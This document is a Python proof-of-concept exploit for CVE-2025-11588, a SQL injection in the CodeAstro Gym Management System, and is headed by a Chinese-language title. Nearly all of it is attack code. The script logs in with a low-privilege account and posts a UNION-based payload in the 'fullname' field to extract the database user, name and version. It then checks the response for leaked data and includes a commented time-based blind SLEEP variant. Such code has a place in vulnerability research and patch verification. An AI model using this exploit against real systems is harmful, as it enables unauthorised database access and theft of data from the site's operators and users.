CVE-2025-11588 CodeAstro健身房管理系统SQL注入漏洞

# CVE-2025-11588 PoC - CodeAstro Gym Management System SQL Injection # Vulnerability Location: /customer/index.php # Vulnerable Parameter: fullname import requests # Target configuration TARGET_URL = "http://target-site.com" LOGIN_URL = f"{TARGET_URL}/login.php" CUSTOMER_URL = f"{TARGET_URL}/customer/index.php" # Attacker credentials (low privilege account required) USERNAME = "test_user" PASSWORD = "test_password" # Create a session to maintain cookies session = requests.Session() # Step 1: Login to obtain authenticated session login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(LOGIN_URL, data=login_data) print(f"[*] Login response status: {response.status_code}") # Step 2: Craft SQL injection payload for fullname parameter # The payload uses UNION-based injection to extract database information sql_payload = "' UNION SELECT 1,user(),database(),version(),5,6,7,8,9,10-- -" # Step 3: Send the malicious request with injected fullname parameter injection_data = { "fullname": sql_payload, # Add other required form fields here "email": "[email protected]", "address": "test address", "contact": "1234567890" } response = session.post(CUSTOMER_URL, data=injection_data) print(f"[*] Injection response status: {response.status_code}") # Step 4: Check response for extracted data if "root@localhost" in response.text or "information_schema" in response.text: print("[+] SQL Injection successful! Database information extracted.") # Parse and display extracted data else: print("[-] Injection may have failed or data not visible in response.") # Alternative: Time-based blind injection payload # sql_payload = "' OR SLEEP(5)-- -" # response = session.post(CUSTOMER_URL, data={"fullname": sql_payload}) # if response.elapsed.total_seconds() >= 5: # print("[+] Time-based blind SQL injection confirmed!")